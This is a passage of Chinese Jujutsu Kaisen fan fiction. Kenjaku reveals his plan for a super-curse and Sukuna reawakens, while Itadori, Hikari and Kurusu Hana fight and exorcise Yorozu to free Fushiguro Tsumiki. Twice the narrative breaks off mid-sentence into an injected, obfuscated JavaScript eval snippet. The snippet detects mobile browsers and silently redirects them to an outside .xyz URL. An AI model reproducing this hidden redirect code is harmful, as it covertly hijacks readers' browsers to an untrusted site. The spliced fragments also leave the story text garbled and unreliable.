伏黑甚尔和禅院真希这种极致的天与咒缚太具有偶然性,具有不可复制性。可是如果反过来,让全人类都拥有咒力就显得不是那么天方夜谭。 现成的例子就摆在那里不是吗? 北海道。 更何况,如何将全人类纳入改变的范畴这一难题已经由羂索给出了解题方法。他们可以利用羂索“让所有非术师和天元进行超重复同化”而设立的这场演习来完成自己的目的。 但是让“所有人都成为术师”这一选项有一个问题,那就是这个“所有人”指的只有这片土地上、这个国家的所有人。如果有一天这真的成为了事实,意味着这个国家将独占一种全新的能源。正是因为对这种未来的担忧,九十九由基才坚持“咒力脱离论”。 她还不能确定五条悟和夏油杰准备走哪一条路,又或者他们有其他的想法,但既然夏油杰也有利用天元结界的想法,就意味着他们准备用来实现各自目的的方法是一样的。 “最难的还是没有范本。这是一场豪赌,由谁来发动、结果如何等等问题我们一概不知,连推测都无从下手。” 不论是脱离咒力还是让所有人拥有咒力,天元的结界都是必须的。不管他们谁达成了目的,这些结界还会存在吗?如果不在了,会发生什么事?那个时候的人们还有能力解决那些问题吗? 不是九十九由基太过谨慎,尽管按照她的设想,全人类都失去咒力之后自然也不会有咒灵产生,因此天元的结界也没有存在的必要了。但毕竟“咒术界离开天元的结界就会发生暴乱”这样的言论已经贯穿了几乎所有咒术师的人生,她终究还是要将所有的可能性考虑进去。 夏油杰忽然笑了一下,引来九十九由基的侧目。 “......我只是突然想到,这个咒术界不也和重复着‘同化’的天元一样吗?” 这句话让九十九由基坐直了身子,连酒杯都放下了。 天元因为不知道“进化”后的自身是否会成为人类的敌人,所以一直通过与星浆体同化来否决“进化”的未来。咒术界因为恐惧失去天元结界而可能发生的未来,因此从没有人试图打破这个现状。 放弃天元的结界会是属于人类的“进化”吗? “......哈哈,亏我还在天元面前那样痛斥祂的选择,”九十九由基摊手,将酒杯中的酒一饮而尽,“还真是一模一样啊。” 一直一副事不关己模样的伏黑甚尔突然侧头,他的异动让夏油杰警惕起来,迅速与藏在入口外的“螺”共享了视野。 太阳已经完全落下,比天空颜色更深的杂乱草叶扫过“螺”有些变形的视野,夏油杰没有看到异常的地方。 周围游走监视的咒灵也都还存在着,没有被祓除。 九十九由基站起身,由术式创造出的咒具化的式神张开翅膀,围绕着她不安地躁动起来。 “......来得这么快。” 由天元设下的、位于薨星宫原址上层的无数空性结界的外壁开始出现鳞片状的裂纹,下一刻伴随着结界破溃的脆响,羂索大大方方地闯了进来。 他的眼睛在厚厚的镜片之后扫视了一圈,随即朗声说道:“我们来救你了哦~宿傩。” 跟在他身后的白发术师满身寒气,偌大的地下空间内温度骤降。 57.能教会爱的只有......? 夏油杰看着羂索......那具属于日照星海的身体。 十六岁。弥山在那之后又长高了不少。 还是个少年的身躯额头上留有一道狰狞的伤痕,边缘的肉泛着失血一样的白色,数道缝合线将分离的头盖骨和身体连接在了一起。 “能请你不要用他的脸那么笑吗?看起来真的很恶心。”夏油杰知道自己的术式被【仳】克制,所以并没有习惯性地直接用惯用的方式起手发起进攻。 羂索闻言摸了摸下巴:“是吗?我还以为你见到这张脸会稍微怀念起以前的时光。” 他的眼珠转了转,颇为惋惜地叹气道:“你们果然有点本事,虽然猜到你们不可能什么都没做,但这还真是有点出乎我的意料。” 居然把薨星宫整个搬走了,想必肯定离不开忧忧的术式。不管他们到底是怎么做到的,能送上这样的惊喜就值得羂索为他们鼓掌。 “不要再和他们废话,”里梅已经等不及了,“我要带宿傩大人离开。” 九十九由基暗中迅速启动了提前设置好的“帐”,但也只是聊胜于无,对于能够轻松破解天元设下的空性结界的羂索来说,这种程度的“帐”他可以来去自如。 羂索来的太快了,难道同化前的演习已经完成了?这个速度也太快了一些。 她已经感知不到伏黑甚尔的气息了。术师杀手完全隐匿在了空间的掩体之后,伺机而动。 这里是天元设下的空性结界,但远在北海道的祂已经无法操纵和更改结界效果。 “别着急,里梅,”羂索挥挥手,包围着这里的空性结界突然改变了结构,“既然天元不在,那就当我这次棋差一着。不过,也没关系。” 结界内部的景象发生了天翻地覆的变化,黑暗逐渐蔓延,等到景象变化停止后,九十九由基发现他们出现在了一座电影厅里。 羂索改变了天元设立的空性结界?不,只是在内部设立了自己的结界......果然他的结界术不可小觑。 “不用那么紧张,在这个结界内的时间不会流逝,”羂索、里梅、九十九由基和夏油杰分别坐在了不同排的座位上,放映机正在运转,大屏上开始出现雪花一样的噪点,“我来给你们讲解一下和天元同化之后可能会发生的结局吧。” 不知道羂索究竟打着什么主意,夏油杰决定静观其变。看样子他们身处这个结界内的时候,外面的时间的确没有发生变化,不然伏黑甚尔不会放过这么好的机会。 一张地图出现在了屏幕上。 九十九由基在涩谷时将羂索提出的与天元同化,也就是他们探讨的问题的根源——咒力最优化,说成是“变成术师”。 “这只是第一阶段,在同化初期顺便进行验证罢了,”大屏幕上的图像随着羂索的心意更改着,一个个跳过五条悟、夏油杰、日照弥山、九十九由基等人的脸,“很久之前我考虑过一种与人类并行的、咒灵的可能性。或许能够将咒灵升华到下一阶段,以崭新的咒力形态存在。” 他说到这里,沉沉地叹了口气,像是吵闹着要去坐过山车结果到了游乐园发现只有旋转木马的孩子一样失望:“所以我曾经对人类和咒灵的混血抱有极大的期待......但结果却让我大失所望。太普通了,我追求的是超越术师、非术师、咒灵范畴的可能性,绝对不是咒胎九相图那样的半吊子。” 九相图三兄弟中的坏相和血涂已经死亡,如今只有胀相还活着,剩余的六个样品都太脆弱,离开了作为特级咒物被封印的“束缚”之后很快也会死去,甚至无法受肉。 “就算你找到了那种可能性,又能怎样?让全世界的人都变成你说的那种怪物吗?” 九十九由基靠在粗糙的布面座椅上质问道。 羂索身体向前,手撑在前排座椅的靠背上,极有耐心地说:“我在涩谷的时候已经和你说了,九十九。我对创造一个不存在咒灵的世界不感兴趣,你似乎误会了什么,在非术师与天元进行超重复同化之后,我估计会诞生拥有超越一亿人咒力的超级咒灵。” “......?” 他们原本的所有推测都局限在羂索想要改变的是无数人类个体,没想到他所图谋的居然是由非术师同化后产生的咒力催生而出的某一个存在! “就算你说的是真的,你也绝对无法操纵那样一个庞然大物。” 羂索哈哈大笑了起来,回应夏油杰的质疑:“那又不是我的东西,我为什么要去操纵它?没准你可以用【咒灵操术】试试呢!” 大屏幕上出现了一个长度足以覆盖整个国家的巨型生物,它的全身都笼罩在黑暗当中,象征着未知与无法预见。 九十九由基不理解羂索到底想干什么:“你活了上千年,到头来就为了创造这么一个大家伙?甚至这家伙还不受你自己操控,你要看着它毁了这个国家?” 不是为了金钱、不是为了权力、不是为了情爱。羂索的长生不是一种无法解除的诅咒,很难理解一个从千年前通过不断更换身体、躲在暗中独自筹谋的人居然只是为了这么儿戏的目的。 “很难理解吗?我现在就像是拿着画笔站在一片纯白画布前的孩童,兴奋得很啊。” 羂索用日照星海的声音对着他们侃侃而谈:“你们难道没有这种感觉吗?不曾见识过的东西当然要亲眼见识一番,开开眼界才行吧?自己觉得有趣的事情,当然要亲自确认一下是否真的有趣不是吗?” 夏油杰的目光从大屏幕上移走,他转身和坐在他身后三排的羂索对上了视线。 他熟悉又陌生的那张脸露出一个对世界含着最纯真好奇心的孩童一般的笑容,却让夏油杰浑身发冷:“这不正是,活着的意义吗?” 九十九由基低下头:“疯子。” 羂索皱着脸露出一个“跟你说不到一块去”的表情,翻了一个白眼。 唯一对他们讨论的问题毫不关心的只有里梅。在白发的术师快要爆发之际,羂索终于想起了他们这次来到薨星宫的另一件正事。他打了一个响指,一道身影出现在了大屏幕之前,昏暗的影厅内打起了散场的灯,来人被这炫目的“欢迎仪式”刺激得不爽地“啧”了一声。 夏油杰瞳孔紧缩,和九十九由基一起如临大敌地说道:“.......为什么!?” 宿傩单手插兜,似笑非笑地看着台下的众人,对羂索说:“看起来你的计划不太顺利啊。” 这不可能!宿傩可是生生吃了两发【雅各布天梯】,承受了弥山足以动摇灵魂的攻击后又被释魂刀刺穿了心脏啊!?释魂刀造成的灵魂伤害无法用反转术式修复,在没有外力帮助的情况下宿傩的灵魂怎么可能这么快就恢复如初!? 诅咒之王被他们滑稽的表情深深取悦到了,搓着下巴愉快地说:“你猜?” “......惠怎么了?” “嗯?啊,那个小鬼啊,”宿傩故意吊着半口气,好好欣赏了一番咒术师们精彩的脸色,大发慈悲地说,“应该不会平安无事吧~” —— 漆黑的咒力在仙台体育场内爆发,虎杖悠仁的黑闪击中了万,将她打飞到了看台上。 日照掠过他的身边,带起阵阵疾风:“别停下。” 来栖华站在另一侧看台的顶层,战斗中的博弈让她眼花缭乱。按理说她也应该有能够攻击到灵魂的特性,可惜她本人在近身战斗中没有任何优势。 “这样的话,万所有提前构筑好的液体金属就都消失了!” 日照的【仳】将围绕在他身边所有的液态金属都分解殆尽,现在正带着虎杖悠仁乘胜追击。他确实没想到虎杖悠仁能在此时打出黑闪,不过这对他们来说是极大的优势。 黑闪既是一种攻击手段,同时也代表着一种超越极限的状态。虎杖悠仁感受到了体内一直存在着、一直没有被他激发出来的力量。 万被击飞的方向烟尘散去,原地只有东倒西歪的座椅和遭受重击而碎裂的水泥看台,万的身影却消失不见了。 日照一把掀开眼罩,迅速寻找着她的去向。 忽然,天使吼道:“华!身后!” 与此同时日照也猛地转身,看到了出现在来栖华身后的高大身影。 万穿上了她精心设计的虫之铠。覆盖身体的铠甲每一处关节都参照了昆虫的生物特性,面部甚至模拟了昆虫的视觉,让万的身体状态更加接近完美。 超越极限的力量、超越想象的反射速度,以及无可比拟的能量利用效率! 万始终坚信,这才是她最完美的姿态。 “来栖!!”虎杖悠仁接住了被万击落的来栖华,中拳的肩胛骨已经完全粉碎,女孩的左肩向后折起,正面已经能够看到莹白的断骨。 “真遗憾,”万轻巧地落地,哪怕她在穿上虫之铠后的体型比原来大了近乎一倍,可她的速度却更快了,让人望尘莫及,“我本来想直接打碎她的心脏的。” 来栖华还有一些意识,可是已经疼得说不出来话了。 万嘲笑天使:“你的戒律还真是一点用都没有,发挥不出上辈子的力量也是理所当然的。摆在你眼前的机会都不知道抓住,这才是‘戒律’会输给‘爱’的理由啊!” 有力的腿部肌肉开始紧缩,日照瞬间挡在了虎杖悠仁他们身前,拦下了万这突如其来的一击。 虎杖悠仁被扑面而来的劲风刺激到了眼睛,下意识闭眼后又强迫自己睁开,同时他感觉到地面好像跳动了一下。 这不是错觉!日照和万的这一次对撞让本就不再平整的地面碎裂得更加彻底,虎杖悠仁护着来栖华向后连跳,才从如同遭受极致高温炙烤后干裂的土地一样的区域脱离出来。 中心已经向下陷了几米深。 “这才是你失败的原因,天使!!由戒律产生的憎恨怎么可能超越爱的浓烈!!!你无法杀死宿傩,只有我才可以!!!” 万癫狂的声音从附着着铠甲的面部传出,略显失真,可她对宿傩畸形的迷恋却因此变得更加诡异起来。 日照手中的胁差横挡在身前,一手握住刀柄,另一只手抵住刀背。万的拳头顶着刀刃,她的铠甲上却只是出现了一层浅浅的凹痕。要知道她用多大的力量撞过来,这个拳头就会承受多大的力量,可即便如此特级咒具的刀刃也没能破开虫之铠的防御。 脚下地面的凹陷程度还在不断增加,日照双手因为过于用力而生理性地颤抖着。 “嗯?”万发出一声疑问。 她本没想要对上雷切,但日照的反应速度更快,挡在了那两个小鬼的身前。万出拳的速度越快越难临时收招,正巧她当时觉得自己状态绝佳,因此不管不顾地一拳砸中了雷切。 但是她自身没有感受到来自“反弹”的伤害。 难道这柄咒具的特性是主动触发而非被动触发? 鸣雷声在角力双方之间猛然爆发,苍白的电弧只碰到了一下就让万觉得整条手臂都麻木了,她当即做出后退的动作。 千鸟裹挟着带有雷光的咒力硬生生追了上去。 在转变状态之后,雷切·千鸟才能发挥出真正属于特级咒具的力量。看不见的刀尖划开了万的铠甲,感受到手臂上的凉意,万才意识到自己居然被日照破开了防御。 虎杖悠仁将来栖华安置在了看台上。会使用反转术式的只有日照,但现在这个情况...... “天使,你不能使用反转术式治疗来栖的伤吗?” “很遗憾,我做不到。”天使无法使用反转术式,作为受肉|体的她如果想要扭转致命伤就只有恢复原本的身体形态这一种方法可行,但这样一来就违背了她自己的戒律。 “......别管我了,虎杖!”来栖华咬着牙,每一次被找到的突破口都是她自己,宿傩那次也是。至少这次她不能再拖后腿! “......”虎杖悠仁知道现在不是可以浪费时间的时候,他迅速确认了一下来栖华的伤势的确暂时不会伤及性命,于是转身跃下,准备继续参与到战斗中。 因为铠甲被自己看不起的家伙破开而暴怒的万向日照发起了连续进攻。窸窸窣窣的【构筑术式】发动的声音埋藏在了金属交击的铿锵声中,万在不断增加着虫之铠的强度,从额头延伸出去的触角敏锐地捕捉着空气中细微的震动。 虎杖悠仁找不到插入这场战斗的机会,万和日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298188|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照的身形几乎快成了一道道虚影,偶尔还有轰鸣的雷声响起,所过之处只留下断壁残垣。以体育场的看台为边界,他们从一端打到了另一侧。 虽然现在看起来势均力敌,但他心里明白日照会逐渐在这场力量的比拼中落入下风。为了顾及伏黑津美纪的生命,日照无法直接使用【仳】,就算想要像最开始的时候那样通过触碰来分解万的铠甲,他也找不到机会。 万的出拳速度很快,日照做不到在接触到铠甲的瞬间完成扩张术式的发动。用重伤来赌术式成功发动的可能性......太不划算了。 如果是弥山的话,就能做到吧? 呵,日照星海在心中唾弃自己。因为有弥山可以依靠,所以从前的他可以不用去想这些问题。 异色的眼瞳扫过已经沦为一片废墟的体育场,因为电路损坏而变得接触不良的泛光照明灯一闪一闪的,在某一瞬间照亮了虎杖悠仁琥珀色的双眼。 日照不再看他,专心和万对招,在心中默默计算距离。 虎杖悠仁半跪着,手掌覆在地面上。 日照在车上和他说过的话再一次响起,诅咒之王离开后除去留下了浓重到怎么也去不掉的咒力气息之外,还留下了他最宝贵的一样东西。 咔嚓。咔嚓咔嚓。 只有虎杖悠仁能够听到的声音逐渐蔓延开来,映射到现实中,以粉发少年为起点,一条虚线向前延伸着。小剪刀模样的纹路出现在了地面上,虚线一直向前,然后在某个节点开始分散,向四周辐射了出去。 日照一招不慎,被万击飞了出去。 他侧身飞过半个体育场的距离,用巧劲泄力后停了下来。 “热身时间结束了,”万步步逼近,“看看你们把我迎接他的地方搞成了什么样子!给我以死谢罪吧!!” 日照微微抬头,眼睛却盯着万:“你所谓的‘爱’,直到他老死也没能打动他吧?” “哈?”万的瞳孔在铠甲之后激烈地震颤着,为这个她绝不可能承认的事实而火冒三丈。 “你懂什么!?你懂什么!!!?” 绝对的强者!!高处不胜寒的孤独!!只有她才能教会他什么是爱!!! 暴怒的万踩碎了地面,急冲而来。 来啊!日照刀上闪烁的雷光正在逐渐熄灭,雷切形态吸收的咒力已经耗尽。 万一脚踏入了虎杖悠仁为她准备好的陷阱。 同样的术式被不同的术师使用时会以不尽相同的姿态显现,【御厨子】在宿傩手里代表了穷凶极恶的压制力,但是虎杖悠仁以一种极为隐秘、温和的方式让那些无形的利刃来到了现实之中。 万踏上了那片“毫无异样”的地面。 骤然出现的失重感让她一惊,尽管迅速反应过来想要踏地离开这片区域,可无论她的反射速度提高到何种极限,她都已经落入了圈套之中。 “地面......!?” 她落入了一片深渊。 虎杖悠仁用【御厨子】将整片区域的地下切成了碎块,连通地下空间的地面变成了沼泽中的草地,危机四伏。 万的身体在半空中失衡,后腰中伸出的虫翅震动着,勉强悬停在了半空。可那四片薄薄的翅膀无法带动她这个重量的存在长时间保持飞行状态,这些翅膀只是用来帮助她在高速移动的过程中通过左右不对称的振翅差异来控制方向、进行复杂机动的工具。 日照的身影在虫之铠的眼中不断放大,被狠狠击落时万感受到了直击灵魂的重量。 如雨点般砸落的碎石空隙,万仰头大喊:“为什么一直不用术式!?你在看不起我吗!?” 破损的水管中喷溅出污水,日照落地后一句话没说,继续向万发起进攻。 这个坑洞的空间比万预想的更加狭小,她不得不牺牲一些行动时的移动速度来确保自己的动作足够灵活。 一道寒光闪过,万举臂阻挡,只听见“当”的一声巨响,随后便是金属刺耳的刮擦声。 刀背? 日照将雷切反握,改用刀背下劈。 这家伙!万直接握住刀身让日照无法收刀,两人僵持不下,原地角力。 为什么不用术式了!?难道说......还有人留恋着这具躯体吗!? “别白费力气了,怎么可能还把身体还给你们啊!做白日梦也要有个限度!!”万双手泄力,让日照的身体随着下劈的势头前倾,趁机将自己的头凑了上去。 日照侧头和虫之铠锋利的口器擦肩而过,感受到蕴含着恐怖咬合力的嘴巴在自己耳边咬碎了一团空气。 他抬手直接抓住了万身后的虫翅防止她逃离。 【仳】带起的气流扫清了环绕在他们附近的尘埃,万的虫之铠开始从背后崩解。 万的一只眼睛露了出来。失策,没想到他反应那么快!还以为刚才那一下能咬碎他的头,可惜了。 忽然,万察觉到了什么,裸露在外的眼球迅速翻转,对出现在身后的虎杖悠仁怒目而视。 少年专注的目光紧盯着万的背后未被虫之铠覆盖的部分。 星海先生为自己争取到的机会,他绝对不会放过!! 打出黑闪后的身体状态绝佳,将所有的咒力凝聚在拳头上,打出咒力爆发具有滞后性的双重打击进攻! “径庭、拳......” 流动的漆黑液态金属抢先一步贯穿了虎杖悠仁的身体。它们像是荆棘一样从地面疯狂生长,将他钉死在了挥拳的动作上。 日照身前的万从鼻子里淌出鲜血,滴滴答答地打在他的手臂上。剥落的虫之铠并非全都是因为【仳】的分解而消失,万选择切断被分解的部分与周围的连接,就像她第一次破解【仳】接触分解液态金属时那样。继续主动扩大解除面积,好骗过日照,挤压剩余的咒力再创造出新的液态金属将那该死的冒牌货踢出局! 日照双手提刀直接前刺,万举手让雷切穿透了自己的手掌,反手握住了不断深入的刀身,卡死了他的下一步动作。 “哈哈哈哈哈!!!”她感受着手掌上传来的尖锐疼痛,状若疯癫地狂笑道:“你还有什么招!?” 58.假如有光来 虎杖悠仁感觉刺穿手臂的金属正在摩擦自己的骨头,伤口传来令人毛骨悚然的感觉。双脚、大腿、腹部、肩膀、双臂都被固定了,但是总感觉......他用力向前,疼痛追逐着他,但他视若无睹。 总感觉很容易就能挣脱。 日照提膝击中万的腹部,没有被液态金属阻挡,实实在在地将万顶了出去,雷切也收了回来。 果然,那些液态金属是她仓促之间构筑出来的,强度肯定不如最开始的那批。应该也无力再构筑更多了。 虎杖悠仁怒吼着将自己从液态金属构造的荆棘牢笼中扯了出来。 “还能坚持吗?”日照问。 虎杖悠仁狠狠点头,抹掉溅到眼睛旁的血珠,却不知道自己将手上的血在脸上抹开了一大片,隐去了不少少年气。 迅速与他们拉开距离的万垂着头站在远处。 雷切刀尖的纹路隐隐亮起。哪怕是用刀背也可以缓慢收集咒力,只是速度要减慢很多。还差一点点。 “我承认,”万低头抬眼,露出阴鸷的表情,“你们的确有点本事。” 羂索给她的是二级咒具无相玉和特级咒具天逆鉾的碎片。别看无相玉的等级很低,但它却拥有极为稀少的概念性能力,因此才能混淆蒙蔽伪六眼的观察,让她在“窗”的总部瞒天过海。 手机真是个好东西,有了羂索发来的照片,万对天逆鉾的每个细节都有了准确的印象,因此将那些碎片重新复原也不是什么难事。顶多虚弱一段时间罢了。 “那个时候我明明捅穿了你的大脑,为什么你还能活下来?” 说话间,万的鼻子里又流下不少鲜血,整个人变得虚弱了很多。 一颗黑色的球体出现在了她的身边。 万抬手擦去血痕,嬉笑着说道:“本来这是留给宿傩的礼物,不过也无妨,等到他来的时候我再重新布置一番就好了。” 看来昨天的那场战斗宿傩的确没能拿到完全的胜利,估计还有别的事吧?居然就这么把自己的心上人晾在一旁,简直岂有此理!!这次她一定要从宿傩口中取得承诺,让他亲口承认他们之间的关系才行!! 这颗一人高的球体仔细看的话是悬浮在地表的。球体呈现纯粹的黑色,有着仿佛能将周围一切颜色吸入其中的引力。 “这是‘完全球体’,因为不存在接地面积,所以也就拥有了近乎无限的压力。”万微微催动球体向前,经过的地面上出现了一条深深的沟壑。 啪。 万双手合拢,掌印结成的瞬间尖声怒吼:“我要把你们三个的脑袋砍下来挂在树上!!作为我们婚礼上的庆祝才行!!!” 领域展开—— 日照迅速来到虎杖悠仁身边。 ——【三重疾苦】!!! “新·阴流,简易领域。” 万的领域迅速包围了虎杖悠仁和日照,闭合后结界的内部变得一片纯白,无数昆虫神经结节模样的东西从上空垂落下来,那颗完全球体已经开始缓缓移动。 日照展开的简易领域中和了万领域中的必中效果。 弥虚葛笼的简化版?万对此嗤之以鼻:“凭这种程度的技法可没办法坚持太久,如果不在这寒酸的领域被剥穿之前想出办法的话......” 他们的结局不言而喻。 虎杖悠仁知道京都校的三轮霞是使用新·阴流进行战斗的术师,还有他们那边的老师日下部笃也。 三轮霞为了展开领域定下了“双脚不能离开地面”的束缚,这是源于自身实力不足采取的取巧方法,日下部笃也在新·阴流的应用上就要更游刃有余。 日照说了一句:“跟上。” 虎杖悠仁的脚自己动了起来,他们开始移动的同时那颗完全球体也以极快的速度向他们逼近。 简易领域跟着日照他们同时移动起来。虽然领域的外围正在被不断剥落,但速度并没有万想象的那么迅速。 她太自信了。 自信到认为这现代社会里除了宿傩没人能杀得了她,发现日照和虎杖悠仁不想让这具身体彻底死去之后就自信地拿出了完全球体这个杀手锏。反正他肯定不会用雷切,那样会让伏黑津美纪的身体跟着她的灵魂一起消散。 不用自己的领域进行对抗恐怕也是相同的原因,开了领域之后他就护不住那个冒牌货了吧?真是束手束脚,要是她的话第一时间就会将虎杖悠仁踹开,是死是活全看他自己的造化。 “真没劲,亏我还觉得你有点本事。”万在日照的简易领域被彻底剥穿之前手动操纵着完全球体挤压他们的生存空间。 领域被剥离的速度越来越快,边界掉落的碎块融入瓦砾尘埃之中。 如果再前进一步,他们都将无处立足。 “结束了。”万一锤定音。 日照的声音不见丝毫慌乱,流云一样的右眼直视着万,其中爆发出来的冷意居然让她打了一个寒颤:“你太自信了,万。” 极小的碎裂声响起。 在他们的头顶上,万扭曲面孔的正上方,“天空”出现了一道裂纹。 “喝啊啊啊啊啊啊——!!”来栖华左肩飙血,用尽全身的力气将一柄短刀插入了万的领域结界外壁。 圣乐奏响,在天使术式的加持下,来栖华借由高空坠落的物理速度和手中咒具本身的力量成功从外部破开了【三重疾苦】。 万要将牙咬碎般怒吼道:“该死的黄毛丫头!!!” 她认为如果天使不违背自己的戒律,来栖华绝对没有再行动的可能。这个女孩本身的力量并不值得她太过警惕,没想到居然被这么一个臭丫头破开了领域!! 外壳破碎,万的术式也进入了熔断状态。 糟——!!她下意识双臂交叠护住了大脑,勉强挡住了直冲着面部而来的进攻。虎杖悠仁的拳头打在她的手臂上时,骨骼应声断裂。 好大的力量!?让万没想到的是那份迟来的咒力爆发,径庭拳将独属于虎杖悠仁的特性发挥到了极致,由于咒力运输的迟滞性带来的二重打击彻底让万的双臂折断,拳头落在了她的脸上,被狠狠地抽飞了出去。 她翻滚着,直到撞上墙壁才停了下来。 比起脑袋被重击的感觉,来自灵魂的动摇更加让她反胃。 完全球体随着术式熔断已经完全失去了控制,就那样碎了一地。 日照踩着凹凸不平的墙壁向上,脱离了天使的术式范围,来栖华扔掉已经破烂不堪的短刀,单手召来了号角。 不可直视的光芒在体育场的深坑中爆发,恍如白昼。 日照在来栖华上方找了一个勉强能够站住的凸起,眯着眼睛向下看。 凄厉的嚎叫从看不真切的坑底传了出来,回声打在满是湿润泥土的坑壁上,将万垂死挣扎的声音拉得极长。 半晌,术式终了。 来栖华大口大口喘息着,问道:“结束了、吗?” 日照的身影越过她,迅速落了下去。 在【雅各布天梯】的释放过程中,虎杖悠仁顶着圣光的灼烧不断地给予万灵魂上的打击,现在她靠在墙边,一动也不动。 他看不出什么区别,只能求助似的望向靠过来的日照:“星海先生,津美纪姐姐.....” 一阵劲风从背后袭来,虎杖悠仁感受到了抵在背心的冰冷触感。寒意顺着后脊爬上了他的头顶。 “咳咳、哈哈哈......没想到、居然栽在这,”万的头发披散着,现在她的样子像极了原本的伏黑津美纪,但眼神中射出恶毒的光说明占据这具身体的还是那个古代术师,“真是......” 日照死死握着她的手腕。万刺向虎杖悠仁的正是被她带走的天逆鉾。她在被【雅各布天梯】和虎杖悠仁持续压制的时候为了抹消双臂折断无法防御的劣势,选择恢复了自己原本的身体。断掉的双臂在少年没有留意到的地方重新恢复了力量,本想放手一搏,没想到万还是小看了他们的攻击对灵魂的伤害。 “你们都不知道想要独占一份孤独的感觉有多么可怕,”万诅咒道,“你们根本不明白,那样孤独的存在——!?” 日照目光怜悯地看着她。 “——你这是什么眼神!?”不可能!!不可能!!!这世上怎么可能有和他一样孤独的人!!?她不允许!!岂有此理!!?这个眼神......他知道!?他理解!? 没有再给她说话的机会,日照扭着她的手臂,抬手拍在了她的肚子上。 虎杖悠仁接住飞不起来了的来栖华,他们看到有什么东西被吐了出来,附在伏黑津美纪身上的“寄生物”从她的身上被剥离了出去。 “......不......我、没有......还想......” 在像被祓除的咒灵一样化作灰尘消失前,万说的话已经没有人能够听懂了。 “获得5分!!”日照的小金突然出现,为这场战斗画上了最终的句号。 “......差点忘了还有你,”日照摁着额角,“伏黑津美纪现在还是泳者吗?” “是的!!” 看来是因为剥离万的时候她本人身处结界内,所以被自动归为泳者了啊:“小金,转给伏黑津美纪1分。” 日照觉得自己的体温正在上升,这是大脑运转超过负荷的体现。现在他的脑袋里装着三个术式,虽然一个被禁用了,但依旧对他造成了不小的负担。 万恢复自己身体的时候完全修复了她身上因为战斗留下的伤势,因此伏黑津美纪是他们之中除了日照伤势最轻的人。 “过来,我给你们治疗。”日照让伏黑津美纪躺在一旁,招呼虎杖悠仁和来栖华。 “你的反转术式......”天使开口欲言又止。 日照将咒力覆盖在来栖华惨不忍睹的肩膀上,断骨和血肉逐渐重生。因为没有麻醉,所以日照在动手之前让虎杖悠仁把她敲晕了。 日照的反转术式能够令自己的断肢再生,而且从他治疗来栖华的表现来看,恐怕也对他人生效。有些术师的反转术式在对自己和对他人使用时的治疗效果会有很大差异。 也可能是因为来栖华并不排斥他的咒力,这是很难得的力量。东京咒高的家入硝子也做不到断肢重生。 “因为他能做到,所以我也能吧。”日照回道。 虎杖悠仁眨眼:“是弥山先生?” 日照“嗯”了一声,腾出一只手搭着他的肩膀给他的身体迅速翻新了一遍。 “如果华没能从外面破开万的结界,你准备怎么办?”在来栖华醒来之前,天使问道。 虎杖悠仁带着伏黑津美纪,日照拎着来栖华,从坑底回到地面上之后他们才意识到这场战斗究竟把仙台体育场毁成了什么样子。夜幕已经完全降了下来,仅剩的一个泛光照明灯聚焦在体育场内天然草地的一角,勉强胜过月光的光亮。 日照踢开碎石,将天逆鉾收到网球袋里:“这样的假设毫无意义,天使。你不需要来试探我。” 他提起手中的来栖华,女孩迷迷糊糊地被甩来甩去:“尤其是她还在我手上的时候。” 天使:“......” 虎杖悠仁突然大叫了一声,随后抱怨道:“机械丸!不要突然跳到我耳朵上来啊......!!?” 他转头一脸茫然地看向日照:“他说羂索他们去了薨星宫,而且——” “——宿傩已经醒了!!” 日照的眼睛一瞬间睁大。像是柔软的月光流进了他的眼眶,如果硬要虎杖悠仁想出一个说法来形容那个眼神的话,大概是“突然活过来”了吧? “......你......”日照的这句话没有说完,忽然抬头环顾四周,又挨个将虎杖悠仁、伏黑津美纪打量了一遍,想要抬手却发现还拎着一个来栖华,于是随手将她丢到了一旁。 已经醒了的来栖华揉着肩膀,天使谴责道:“对待女孩子要温柔一些!” “哈哈,”日照拍拍脑袋,眼珠一转,“你们还挺能干的嘛。你说宿傩也醒了?忧忧在哪?” 机械丸回道:“需要我帮你联系冥冥吗?” 虎杖悠仁脸色严肃了起来:“我们要去吗?” 日照却仿佛没听见一样说道:“你拿她的术式干嘛?我上哪儿再找一个媒介去?难不成你被挖掉的脑子还泡在福尔马林里吗?” 一张嘴巴开在了他的脸上:“你可以试试狱门疆。” 日照哼了一声:“算了。当然要去,我——” 他话音未落,突然扭头望向另外的方向。 “弥山先生?”虎杖悠仁心中感叹这两个人还真是太好区分了,像是真希学姐和她的妹妹也很好区分。只是他突然的沉默不语实在让人焦心,薨星宫不是很重要的地方吗?偏偏现在五条老师不在,而且宿傩...... “机械丸,乙骨还有多久到?”日照星海问道。 “马上就到。我已经联系上冥冥了。” “不,”日照将网球袋背在身上,从废墟中捡回雷切的刀鞘,转头看了一眼虎杖悠仁和他背上的伏黑津美纪,“难得我们想法一致。” “......?”机械丸发出不解的电流声。 日照星海替他解释道:“虎杖带着她们回总部吧,把伏黑津美纪存活的消息告诉夏油杰就行了。联系乙骨,让忧忧带他直接去高专。” 虎杖悠仁仍然不放心:“就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303299|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、这样?” 日照活动身体,狠狠伸展了一番:“应该没问题吧,三对三,他们可都是咒术界最强的几个人,总不会输得太惨。” 天使插话道:“有什么人过来了。” 他指了指体育场北方:“我现在要去找‘老朋友’叙叙旧,如果我们结束得快的话,就更不用担心了。” 